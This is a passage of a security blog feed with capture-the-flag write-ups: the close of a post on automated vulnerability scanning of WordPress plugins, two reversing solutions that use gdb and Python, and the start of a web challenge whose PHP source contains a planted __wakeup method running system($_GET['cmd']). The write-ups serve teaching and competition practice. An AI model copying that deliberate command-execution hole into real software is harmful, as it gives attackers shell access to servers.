<span class="nv">$was_data_sent</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="o">**</span> <span class="nc">Truncated</span> <span class="o">**</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>In fact, the vulnerabilty was found by the tool automatically. We can see an intuitive result from testing the vulnerable script on <a href="http://taint.spro.ink">http://taint.spro.ink</a>. We see that the tool is able to detect the tainted user-input being used in the <code class="language-plaintext highlighter-rouge">curl_setopt</code> function.</p>
<p><img src="/resources/images/continuouspwning/detection.png" alt="" /></p>
<p>From <a href="https://pluginu.com/nelio-ab-testing/">https://pluginu.com/nelio-ab-testing/</a>, we can easily see that there are at least 173 websites using this plugin currently! Being lucky, I was able to find a bug bounty program that has a WordPress site using this particular plugin and was able to obtain a bounty with this finding. :)</p>
<p><img src="/resources/images/continuouspwning/bug.png" alt="" /></p>
<p><img src="/resources/images/continuouspwning/bounty.png" alt="" /></p>
<p><strong>I’ve since reported this to the plugin author and was told it has been fixed!</strong></p>
<h4 id="conclusion">Conclusion</h4>
<p>What this experiment proved was that it was highly possible for a development cycle/process where applications are continuously tested for vulnerability. However, more work needs to be done to ensure true positives in result and/or to even automatically patch simple vulnerabilities!</p>
<p>This is the first part of many and in the subsequent parts I will write more about the tool in detail!</p>
<p>Thanks for reading!</p>
<p><a href="https://quanyang.github.io/part-1-continuous-pwning/">Part 1 - Continuous Pwning of the Top 1000 WordPress Plugins</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on December 08, 2016.</p>
https://quanyang.github.io/csaw-ctf-quals-2016-deedeedee2016-09-19T13:38:29+00:002016-09-19T13:38:29+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="csaw-ctf-quals-2016---deedeedee">CSAW CTF Quals 2016 - deedeedee</h1>
<blockquote>
<p><strong>Points:</strong> 150 <br />
<strong>Category:</strong> Reversing<br />
<strong>Description</strong><br />
(I lost the description to this challenge)<br />
<a href="/resources/files/csaw2016/rev/deedeedee">deedeedee</a></p>
</blockquote>
<hr />
<p>This is a reversing challenge. Given a binary, our objective was to find the flag. I vaguely remember that the description of this challenge was something along the lines of being able to execute instructions at compile time.</p>
<p>We’re given a 64-bit ELF.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nv">$ </span>file deedeedee
deedeedee: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked <span class="o">(</span>uses shared
libs<span class="o">)</span>, <span class="k">for </span>GNU/Linux 2.6.24, BuildID[sha1]<span class="o">=</span>4fac9c863749015d039a3bf0a3a6c936f2f7eadd, not stripped
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the binary in my CTF environment tells us that we have the encrypted flag, and that the flag was generated at compile time.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre><span class="nv">$ </span>./deedeedee
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :<span class="o">)</span>
Can you decrypt it <span class="k">for </span>me?
</pre></td></tr></tbody></table></code></pre></figure>
<p>The hexencoded flag decodes to <code class="language-plaintext highlighter-rouge">gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}</code>. Keep this in mind, we will need it later. You could use python to decode the hex encoded string or simply use any hex->text converter online.</p>
<h3 id="analysis">Analysis</h3>
<p>Running <code class="language-plaintext highlighter-rouge">objdump -x</code> on the binary shows that there are many functions defined, and instincts tells me that at least one of these would contain the routine required to decrypt our flag.</p>
<p>Doing a simple grep for <code class="language-plaintext highlighter-rouge">encrypt</code> finds the function we are searching for:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre><span class="nv">$ </span>objdump <span class="nt">-x</span> deedeedee | <span class="nb">grep </span>encrypt
000000000044cde0 g F .text 000000000000158b _D9deedeedee7encryptFNaNfAyaZAya
</pre></td></tr></tbody></table></code></pre></figure>
<p>Note that the names are all mangled, but we can still roughly make out the meaning of the functions.</p>
<p>The disassembly for the function shows some kind of chained function calls where the result of one call is used as argument for the other call.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>disas _D9deedeedee7encryptFNaNfAyaZAya
Dump of assembler code <span class="k">for function </span>_D9deedeedee7encryptFNaNfAyaZAya:
0x000000000044cde0 <+0>: push rbp
0x000000000044cde1 <+1>: mov rbp,rsp
0x000000000044cde4 <+4>: sub rsp,0x10
0x000000000044cde8 <+8>: mov QWORD PTR <span class="o">[</span>rbp-0x10],rdi
0x000000000044cdec <+12>: mov QWORD PTR <span class="o">[</span>rbp-0x8],rsi
0x000000000044cdf0 <+16>: mov rdx,QWORD PTR <span class="o">[</span>rbp-0x8]
0x000000000044cdf4 <+20>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x10]
0x000000000044cdf8 <+24>: mov rdi,rax
0x000000000044cdfb <+27>: mov rsi,rdx
0x000000000044cdfe <+30>: call 0x451470 <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya>
0x000000000044ce03 <+35>: mov rdi,rax
0x000000000044ce06 <+38>: mov rsi,rdx
0x000000000044ce09 <+41>: call 0x458280 <_D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya>
0x000000000044ce0e <+46>: mov rdi,rax
0x000000000044ce11 <+49>: mov rsi,rdx
0x000000000044ce14 <+52>: call 0x458358 <_D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya>
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
0x000000000044e348 <+5480>: mov rdi,rax
0x000000000044e34b <+5483>: mov rsi,rdx
0x000000000044e34e <+5486>: call 0x472428 <_D9deedeedee33__T3encVAyaa9_343937343937343937Z3encFNaNfAyaZAya>
0x000000000044e353 <+5491>: mov rdi,rax
0x000000000044e356 <+5494>: mov rsi,rdx
0x000000000044e359 <+5497>: call 0x472500 <_D9deedeedee33__T3encVAyaa9_343938343938343938Z3encFNaNfAyaZAya>
0x000000000044e35e <+5502>: mov rdi,rax
0x000000000044e361 <+5505>: mov rsi,rdx
0x000000000044e364 <+5508>: call 0x4725d8 <_D9deedeedee33__T3encVAyaa9_343939343939343939Z3encFNaNfAyaZAya>
0x000000000044e369 <+5513>: leave
0x000000000044e36a <+5514>: ret
End of assembler dump.
</pre></td></tr></tbody></table></code></pre></figure>
<p>What we can notice from the disassembly is:</p>
<ol>
<li>Each function takes in two argument, registers $rdi and $rsi.</li>
<li>The function names are slightly different, first one has <code class="language-plaintext highlighter-rouge">313131</code> and second one has <code class="language-plaintext highlighter-rouge">323232</code> in it.</li>
</ol>
<p>The next logical thing to do is to disassemble one of the function calls:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>disas _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
Dump of assembler code <span class="k">for function </span>_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya:
0x0000000000451470 <+0>: push rbp
0x0000000000451471 <+1>: mov rbp,rsp
0x0000000000451474 <+4>: sub rsp,0xb0
0x000000000045147b <+11>: mov QWORD PTR <span class="o">[</span>rbp-0xa8],rbx
0x0000000000451482 <+18>: mov QWORD PTR <span class="o">[</span>rbp-0x10],rdi
0x0000000000451486 <+22>: mov QWORD PTR <span class="o">[</span>rbp-0x8],rsi
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
0x00000000004514aa <+58>: mov edx,0x49fa5c
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
0x000000000045150c <+156>: xor esi,DWORD PTR <span class="o">[</span>rdx]
0x000000000045150e <+158>: movzx ebx,BYTE PTR <span class="o">[</span>rbp-0xa0]
0x0000000000451515 <+165>: xor esi,ebx
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
0x0000000000451543 <+211>: leave
0x0000000000451544 <+212>: ret
End of assembler dump.
</pre></td></tr></tbody></table></code></pre></figure>
<p>What I noticed is that the arguments provided is xor’ed with the string located at <code class="language-plaintext highlighter-rouge">0x49fa5c</code>, which is <code class="language-plaintext highlighter-rouge">0x31</code>. Remember the 0x313131 contained in the name of the function?</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>x/xw0x49fa5c
0x49fa5c <_TMP75>: 0x00313131
</pre></td></tr></tbody></table></code></pre></figure>
<p>Now with these, I have some idea of how the encryption is done (probably a chain of xors with some constant byte values, 0x31 in this case). We can further verify this by doing dynamic analysis.</p>
<p>We first set a breakpoint at main, and run the binary in gdb. We then jump to <code class="language-plaintext highlighter-rouge">0x000000000044CDE0</code>, which is the start of the encrypt function.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>b _D9deedeedee7encryptFNaNfAyaZAya
Breakpoint 2 at 0x44cde4
gdb-peda<span class="nv">$ </span>j _D9deedeedee7encryptFNaNfAyaZAya
Continuing at 0x44cde4.
</pre></td></tr></tbody></table></code></pre></figure>
<p>Remember that the chain of function takes in two argument from register $rsi and $rdi, I assume that one of this register contains a pointer to the string we are encoding and the other pointer containing the len of the string.</p>
<p>With that assumption, we set the register to the correct values. We can do so by running the following gdb calls. We also set a breakpoint at the first xor instruction, so that we can verify the xor values.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>p strcpy<span class="o">(</span><span class="nv">$rsi</span>, <span class="s2">"222"</span><span class="o">)</span>
gdb-peda<span class="nv">$ </span><span class="nb">set</span> <span class="nv">$rdi</span><span class="o">=</span>3
gdb-peda<span class="nv">$ </span>b <span class="k">*</span>0x000000000045150c
Breakpoint 3 at 0x45150c
gdb-peda<span class="nv">$ </span>c
Continuing.
<span class="o">[</span><span class="nt">----------------------------------registers-----------------------------------</span><span class="o">]</span>
RAX: 0x7fffffffe390 <span class="nt">--</span><span class="o">></span> 0x3200000031 <span class="o">(</span><span class="s1">'1'</span><span class="o">)</span>
RBX: 0x7fffffffe368 <span class="nt">--</span><span class="o">></span> 0x3
RCX: 0x7fffffffe390 <span class="nt">--</span><span class="o">></span> 0x3200000031 <span class="o">(</span><span class="s1">'1'</span><span class="o">)</span>
RDX: 0x7fffffffe394 <span class="nt">--</span><span class="o">></span> 0x300000032
RSI: 0x31 <span class="o">(</span><span class="s1">'1'</span><span class="o">)</span>
RDI: 0x7fffffffe2d0 <span class="nt">--</span><span class="o">></span> 0x3200000031 <span class="o">(</span><span class="s1">'1'</span><span class="o">)</span>
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
<span class="o">=></span> 0x45150c <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+156>:
xor esi,DWORD PTR <span class="o">[</span>rdx]
0x45150e <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+158>:
movzx ebx,BYTE PTR <span class="o">[</span>rbp-0xa0]
0x451515 <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+165>: xor esi,ebx
<span class="o">[</span><span class="k">**</span> Truncated <span class="k">**</span><span class="o">]</span>
gdb-peda<span class="err">$</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We see that the $ebx contains 0x3 which is the length we set at register $rdi as well. Thus, in this function, every byte in the input string is xor’ed with 0x31 as well as the length of the input string.</p>
<p>In python, the particular function would look something like the following</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="code"><pre><span class="k">def</span> <span class="nf">enc313131</span><span class="p">(</span><span class="n">inputStr</span><span class="p">):</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">inputStr</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">character</span> <span class="ow">in</span> <span class="n">inputStr</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">character</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x31</span> <span class="o">^</span> <span class="n">length</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Now that we have confirmed our assumptions, the flag can be easily decrypted by running the same function with the flag and the length as input.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>b <span class="k">*</span>0x000000000044E408
Breakpoint 1 at 0x44e408
gdb-peda<span class="nv">$ </span>r
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
<span class="o">=></span> 0x44e408 <_Dmain>: push rbp
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
gdb-peda<span class="nv">$ </span>p strcpy<span class="o">(</span><span class="nv">$rsi</span>,<span class="s2">"gl</span><span class="sb">`</span>gzt2mql<span class="sb">`</span><span class="s2">t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}"</span><span class="o">)</span>
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
gdb-peda<span class="nv">$ </span>b <span class="k">*</span>0x000000000044cde0
Breakpoint 2 at 0x44cde0
gdb-peda<span class="nv">$ </span>j <span class="k">*</span>0x000000000044cde0
Continuing at 0x44cde0.
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
<span class="o">=></span> 0x44cde0 <_D9deedeedee7encryptFNaNfAyaZAya>: push rbp
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
gdb-peda<span class="nv">$ </span><span class="nb">set</span> <span class="nv">$rdi</span><span class="o">=</span>48
gdb-peda<span class="nv">$ </span>b <span class="k">*</span>0x000000000044e36a
Breakpoint 3 at 0x44e36a
gdb-peda<span class="nv">$ </span>c
Continuing.
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
RDX: 0x7ffff7ef1c80 <span class="o">(</span><span class="s2">"flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}"</span><span class="o">)</span>
<span class="o">[</span><span class="k">**</span> truncated <span class="k">**</span><span class="o">]</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we have our flag!</p>
<p><a href="https://quanyang.github.io/csaw-ctf-quals-2016-deedeedee/">CSAW CTF Quals 2016 - deedeedee</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on September 19, 2016.</p>
https://quanyang.github.io/tokyo-westerns-ctf-2nd-2016-reverse-box2016-09-06T03:29:51+00:002016-09-06T03:29:51+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="tokyo-westerns--mma-ctf-2nd-2016---reverse-box">Tokyo Westerns / MMA CTF 2nd 2016 - Reverse Box</h1>
<blockquote>
<p><strong>Points:</strong> 50
<strong>Category:</strong> Reversing<br />
<strong>Description</strong><br />
$ ./reverse_box ${FLAG}<br />
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a<br />
<a href="/resources/files/tokyowesterns/reverse_box.7z">reverse_box.7z</a></p>
</blockquote>
<hr />
<p>This was a reversing warmup challenge for TWCTF 2016. I’ve read many write ups on this, but most of them did it differently from how I solved it, and many of their solutions seems to be more efficient than mine.</p>
<p>Given a 32-bit ELF binary and an output derived from the binary with the flag as input, the objective would be to determine the flag using the output values.</p>
<h3 id="solution">Solution</h3>
<p>The main function does nothing much other than to call a function that generates the S-box for the cipher.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre> <span class="n">generate_S_Box</span><span class="p">(</span><span class="o">&</span><span class="n">buffer</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%02x"</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">buffer</span><span class="p">[</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">i</span><span class="p">]]));</span>
<span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The generate_S_Box function starts by picking a random integer in the range of 0-255, and the rest of the function executes based on this random value. It didn’t occur to me that I could simply generate all possible 256 values at this point using gdb/unicorn engine (like what other solutions are doing), so I reversed the entire function into Python.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">ror</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">val</span><span class="p">,</span> <span class="n">r_bits</span><span class="p">,</span> <span class="n">max_bits</span><span class="p">:</span> \
<span class="p">((</span><span class="n">val</span> <span class="o">&</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">max_bits</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="o">>></span> <span class="n">r_bits</span><span class="o">%</span><span class="n">max_bits</span><span class="p">)</span> <span class="o">|</span> \
<span class="p">(</span><span class="n">val</span> <span class="o"><<</span> <span class="p">(</span><span class="n">max_bits</span><span class="o">-</span><span class="p">(</span><span class="n">r_bits</span><span class="o">%</span><span class="n">max_bits</span><span class="p">))</span> <span class="o">&</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">max_bits</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">all_s_boxes</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">randomValue</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="n">results</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span>
<span class="n">position_index</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="n">some_value</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">while</span> <span class="n">position_index</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
<span class="c1"># Used to generate some_value
</span> <span class="n">v1</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">some_value</span> <span class="o">^</span> <span class="n">some_value</span> <span class="o">&</span> <span class="mh">0xff</span>
<span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="n">v1</span> <span class="o">^</span> <span class="n">v1</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&</span><span class="mh">0xff</span>
<span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="n">v2</span> <span class="o">^</span> <span class="n">v2</span> <span class="o">*</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xff</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o"><</span> <span class="mi">128</span> <span class="p">):</span>
<span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">v5</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="n">some_value</span> <span class="o">=</span> <span class="p">(</span><span class="n">v3</span> <span class="o">^</span> <span class="n">v5</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">;</span>
<span class="n">factor1</span> <span class="o">=</span> <span class="n">some_value</span> <span class="o">&</span> <span class="mh">0xff</span>
<span class="n">factor2</span> <span class="o">=</span> <span class="n">some_value</span> <span class="o">^</span> <span class="n">randomValue</span>
<span class="n">factor1_rotate_7bits</span> <span class="o">=</span> <span class="n">ror</span><span class="p">(</span><span class="n">factor1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="n">factor1_rotate_6bits</span> <span class="o">=</span> <span class="n">ror</span><span class="p">(</span><span class="n">factor1</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="n">factor1_rotate_5bits</span> <span class="o">=</span> <span class="n">ror</span><span class="p">(</span><span class="n">factor1</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="n">factor1_rotate_4bits</span> <span class="o">=</span> <span class="n">ror</span><span class="p">(</span><span class="n">factor1</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">factor2</span> <span class="o">^</span> <span class="n">factor1_rotate_7bits</span> <span class="o">^</span> <span class="n">factor1_rotate_6bits</span> <span class="o">^</span> <span class="n">factor1_rotate_5bits</span> <span class="o">^</span> <span class="n">factor1_rotate_4bits</span>
<span class="n">results</span><span class="p">[</span><span class="n">position_index</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">result</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">)</span>
<span class="n">some_value</span> <span class="o">=</span> <span class="n">factor1</span>
<span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="n">position_index</span> <span class="o">^</span> <span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">position_index</span><span class="p">));</span>
<span class="k">if</span> <span class="n">position_index</span> <span class="o"><</span> <span class="mi">128</span><span class="p">:</span>
<span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">v3</span> <span class="o">=</span> <span class="mi">27</span><span class="p">;</span>
<span class="n">position_index</span> <span class="o">=</span> <span class="p">(</span><span class="n">v2</span> <span class="o">^</span> <span class="n">v3</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xff</span>
<span class="n">all_s_boxes</span><span class="p">[</span><span class="n">randomValue</span><span class="p">]</span> <span class="o">=</span> <span class="n">results</span>
<span class="n">startingFlag</span> <span class="o">=</span> <span class="s">"TWCTF"</span>
<span class="n">startingTarget</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x95\xee\xaf\x95\xef</span><span class="s">"</span>
<span class="n">sbox_to_use</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">for</span> <span class="n">key</span><span class="p">,</span><span class="n">sbox</span> <span class="ow">in</span> <span class="n">all_s_boxes</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
<span class="k">for</span> <span class="n">index</span><span class="p">,</span><span class="n">char</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">startingFlag</span><span class="p">):</span>
<span class="k">if</span> <span class="n">sbox</span><span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)]</span> <span class="o">==</span> <span class="nb">ord</span><span class="p">(</span><span class="n">startingTarget</span><span class="p">[</span><span class="n">index</span><span class="p">]):</span>
<span class="n">sbox_to_use</span> <span class="o">=</span> <span class="n">sbox</span>
<span class="k">print</span> <span class="s">"Found sbox at random value %d"</span> <span class="o">%</span> <span class="n">key</span>
<span class="k">break</span>
<span class="n">target</span> <span class="o">=</span> <span class="s">"95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"</span>
<span class="k">print</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">chr</span><span class="p">(</span><span class="n">sbox_to_use</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)))</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">target</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)])</span></code></pre></figure>
<p>Since we knew that the flag starts with <code class="language-plaintext highlighter-rouge">TWCTF</code>, we could make use of this information to determine the correct s-box to use in order to obtain the rest of the flag.</p>
<p>Running this script gives us the flag:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre>→ python samples-1/test.py
Found sbox at random value 214
TWCTF<span class="o">{</span>5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><a href="https://quanyang.github.io/tokyo-westerns-ctf-2nd-2016-reverse-box/">Tokyo Westerns CTF 2nd 2016 - Reverse Box</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on September 06, 2016.</p>
https://quanyang.github.io/secuinside-ctf-quals-2016-trendyweb2016-07-10T19:46:07+00:002016-07-10T19:46:07+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="secuinside-ctf-quals-2016---trendyweb">SECUINSIDE CTF Quals 2016 - Trendyweb</h1>
<blockquote>
<p><strong>Points:</strong> 100<br />
<strong>Category:</strong> Web<br />
<strong>Description</strong><br />
Trendy~! Web~<br />
The flag reader is on /.<br />
<a href="http://chal.cykor.kr:8082">http://chal.cykor.kr:8082</a><br />
<a href="http://52.78.11.234:8082">http://52.78.11.234:8082</a><br />
p.s. If the download doesn’t work, try this: <a href="https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859">https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859</a><br />
and it requires data/ folder</p>
</blockquote>
<hr />
<p>We’re given the source code for the challenge:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nb">error_reporting</span><span class="p">(</span><span class="kc">E_ALL</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span> <span class="s1">'On'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'allow_url_fopen'</span><span class="p">,</span> <span class="s1">'On'</span><span class="p">);</span> <span class="c1">// yo!</span>
<span class="nv">$session_path</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">MyClass</span> <span class="p">{</span> <span class="k">function</span> <span class="n">__wakeup</span><span class="p">()</span> <span class="p">{</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="c1">// come onn!</span>
<span class="p">}</span> <span class="p">}</span>
<span class="k">function</span> <span class="n">onShutdown</span><span class="p">()</span> <span class="p">{</span>
<span class="k">global</span> <span class="nv">$session_path</span><span class="p">;</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$session_path</span><span class="mf">.</span> <span class="s1">'/pickle'</span><span class="p">,</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">));</span>
<span class="p">}</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="nb">register_shutdown_function</span><span class="p">(</span><span class="s1">'onShutdown'</span><span class="p">);</span>
<span class="k">function</span> <span class="n">set_context</span><span class="p">(</span><span class="nv">$id</span><span class="p">)</span> <span class="p">{</span>
<span class="k">global</span> <span class="nv">$_SESSION</span><span class="p">,</span> <span class="nv">$session_path</span><span class="p">;</span>
<span class="nv">$session_path</span><span class="o">=</span><span class="nb">getcwd</span><span class="p">()</span> <span class="mf">.</span> <span class="s1">'/data/'</span><span class="mf">.</span><span class="nv">$id</span><span class="p">;</span>
